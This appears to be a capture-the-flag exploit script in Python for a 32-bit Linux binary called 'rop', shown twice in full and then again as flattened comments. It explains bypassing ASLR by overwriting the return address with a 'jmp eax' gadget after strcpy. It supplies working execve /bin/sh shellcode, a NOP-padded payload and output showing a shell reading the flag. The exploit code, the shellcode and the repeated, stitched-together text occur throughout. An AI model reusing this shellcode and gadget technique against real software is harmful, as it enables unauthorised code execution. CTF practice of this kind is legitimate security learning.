from struct import pack

'''
Simple buffer overflow problem... but we don't know stack address because of server's ASLR :(

However, actually we don't have to know!



char * strcpy (char * destination, const char * source);
(http://www.cplusplus.com/reference/cstring/strcpy/)

strcpy return destination(our input) and return value is saved to eax register (on intel x86 32bit)


Therefore if we change return address to 'jmp eax' code address in binary then we will jump to our input.

and ... if our input is shellcode then we can execute shell!



Then how to get address of 'jmp eax' ?

1) Use gdb-peda jmpcall

gdb-peda$ b *main
gdb-peda$ r
gdb-peda$ jmpcall eax
0x808c3ba : jmp eax

or

2) objdump -d rop | grep jmp | grep eax

or

3) other rop gadget tools ... 

'''
jmpeax = 0x808c3ba

# gdb-peda$ shellcode generate x86/linux exec
# x86/linux/exec: 24 bytes
shellcode = (
    "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31"
    "\xc9\x89\xca\x6a\x0b\x58\xcd\x80"
)

# buffer + dummy size is 64+12=76
payload = ""
payload+= "\x90"*24
payload+= shellcode
payload+= "\x90"*(76 - len(payload))

# We use 'jmp eax' gadget, so we will jump to eax and eax have the address of buffer. ( char buffer[64]; )
# Buffer char array have our shellcode, so we finally get our shell
payload+= pack("<L", jmpeax) 

print payload

'''
./rop `python exploit.py`

Attack me and read the flag :)
$ cat flag
R0P c4n d3f34t ASLR or more things!
$ exit
'''

from struct import pack

'''
Simple buffer overflow problem... but we don't know stack address because of server's ASLR :(

However, actually we don't have to know!



char * strcpy (char * destination, const char * source);
(http://www.cplusplus.com/reference/cstring/strcpy/)

strcpy return destination(our input) and return value is saved to eax register (on intel x86 32bit)


Therefore if we change return address to 'jmp eax' code address in binary then we will jump to our input.

and ... if our input is shellcode then we can execute shell!



Then how to get address of 'jmp eax' ?

1) Use gdb-peda jmpcall

gdb-peda$ b *main
gdb-peda$ r
gdb-peda$ jmpcall eax
0x808c3ba : jmp eax

or

2) objdump -d rop | grep jmp | grep eax

or

3) other rop gadget tools ... 

'''
jmpeax = 0x808c3ba

# gdb-peda$ shellcode generate x86/linux exec
# x86/linux/exec: 24 bytes
shellcode = (
    "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31"
    "\xc9\x89\xca\x6a\x0b\x58\xcd\x80"
)

# buffer + dummy size is 64+12=76
payload = ""
payload+= "\x90"*24
payload+= shellcode
payload+= "\x90"*(76 - len(payload))

# We use 'jmp eax' gadget, so we will jump to eax and eax have the address of buffer. ( char buffer[64]; )
# Buffer char array have our shellcode, so we finally get our shell
payload+= pack("<L", jmpeax) 

print payload

'''
./rop `python exploit.py`

Attack me and read the flag :)
$ cat flag
R0P c4n d3f34t ASLR or more things!
$ exit
'''

Simple buffer overflow problem... but we don't know stack address because of server's ASLR :(  However, actually we don't have to know!    char * strcpy (char * destination, const char * source); (http://www.cplusplus.com/reference/cstring/strcpy/)  strcpy return destination(our input) and return value is saved to eax register (on intel x86 32bit)   Therefore if we change return address to 'jmp eax' code address in binary then we will jump to our input.  and ... if our input is shellcode then we can execute shell!    Then how to get address of 'jmp eax' ?  1) Use gdb-peda jmpcall  gdb-peda$ b *main gdb-peda$ r gdb-peda$ jmpcall eax 0x808c3ba : jmp eax  or  2) objdump -d rop | grep jmp | grep eax  or  3) other rop gadget tools ... # gdb-peda$ shellcode generate x86/linux exec # x86/linux/exec: 24 bytes # buffer + dummy size is 64+12=76 # We use 'jmp eax' gadget, so we will jump to eax and eax have the address of buffer. ( char buffer[64]; ) # Buffer char array have our shellcode, so we finally get our shell ./rop `python exploit.py`  Attack me and read the flag :) $ cat flag R0P c4n d3f34t ASLR or more things! $ exit